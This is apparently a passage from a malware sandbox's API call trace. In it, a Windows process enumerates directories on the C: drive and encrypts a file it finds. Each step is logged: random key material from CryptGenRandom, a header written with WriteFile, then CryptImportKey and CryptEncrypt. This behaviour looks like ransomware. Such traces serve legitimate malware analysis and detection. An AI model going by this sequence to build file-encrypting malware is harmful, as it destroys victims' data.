ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.132] GetProcessHeap () returned 0x2a0000 [0128.132] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.132] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.132] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.133] GetProcessHeap () returned 0x2a0000 [0128.133] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.133] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.133] GetLastError () returned 0x5 [0128.134] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.134] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.134] GetProcessHeap () returned 0x2a0000 [0128.134] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.134] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0128.134] GetProcessHeap () returned 0x2a0000 [0128.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.134] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.134] GetProcessHeap () returned 0x2a0000 [0128.134] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.134] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.134] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.134] GetProcessHeap () returned 0x2a0000 [0128.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.135] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.135] GetLastError () returned 0x5 [0128.135] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.135] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.135] GetProcessHeap () returned 0x2a0000 [0128.135] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.135] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0128.135] GetProcessHeap () returned 0x2a0000 [0128.135] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.135] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.136] GetProcessHeap () returned 0x2a0000 [0128.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.136] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.136] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.136] GetProcessHeap () returned 0x2a0000 [0128.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.136] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.136] GetLastError () returned 0x5 [0128.136] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.136] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.136] GetProcessHeap () returned 0x2a0000 [0128.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.136] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0128.136] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0128.136] GetProcessHeap () returned 0x2a0000 [0128.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7638 | out: hHeap=0x2a0000) returned 1 [0128.137] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0128.137] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0xffff, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0128.137] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0128.137] GetProcessHeap () returned 0x2a0000 [0128.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.137] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0128.137] GetProcessHeap () returned 0x2a0000 [0128.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.137] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0128.137] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0128.137] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0128.137] GetProcessHeap () returned 0x2a0000 [0128.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2a0000) returned 1 [0128.137] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0128.137] GetProcessHeap () returned 0x2a0000 [0128.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x44) returned 0x2c1c28 [0128.138] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0xffffffff [0128.138] GetProcessHeap () returned 0x2a0000 [0128.138] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1c28 | out: hHeap=0x2a0000) returned 1 [0128.138] GetLastError () returned 0x5 [0128.138] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0128.138] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0128.138] GetProcessHeap () returned 0x2a0000 [0128.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2c8348 [0128.138] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0128.138] GetProcessHeap () returned 0x2a0000 [0128.138] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8348 | out: hHeap=0x2a0000) returned 1 [0128.138] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0128.139] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0128.139] GetProcessHeap () returned 0x2a0000 [0128.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22a) returned 0x2c7638 [0128.139] GetProcessHeap () returned 0x2a0000 [0128.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c) returned 0x2bf528 [0128.139] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.143] GetProcessHeap () returned 0x2a0000 [0128.143] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0128.143] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0128.144] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0128.144] GetProcessHeap () returned 0x2a0000 [0128.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x23e) returned 0x2c7870 [0128.144] GetProcessHeap () returned 0x2a0000 [0128.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2c21e0 [0128.144] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0128.145] GetProcessHeap () returned 0x2a0000 [0128.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c21e0 | out: hHeap=0x2a0000) returned 1 [0128.145] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0128.146] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0128.146] GetProcessHeap () returned 0x2a0000 [0128.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0128.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0128.147] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=16972987) returned 1 [0128.147] GetProcessHeap () returned 0x2a0000 [0128.147] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0128.147] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0128.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.147] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x5, lpOverlapped=0x0) returned 1 [0128.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0128.163] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0128.163] GetProcessHeap () returned 0x2a0000 [0128.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0128.164] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0128.164] CryptDestroyKey 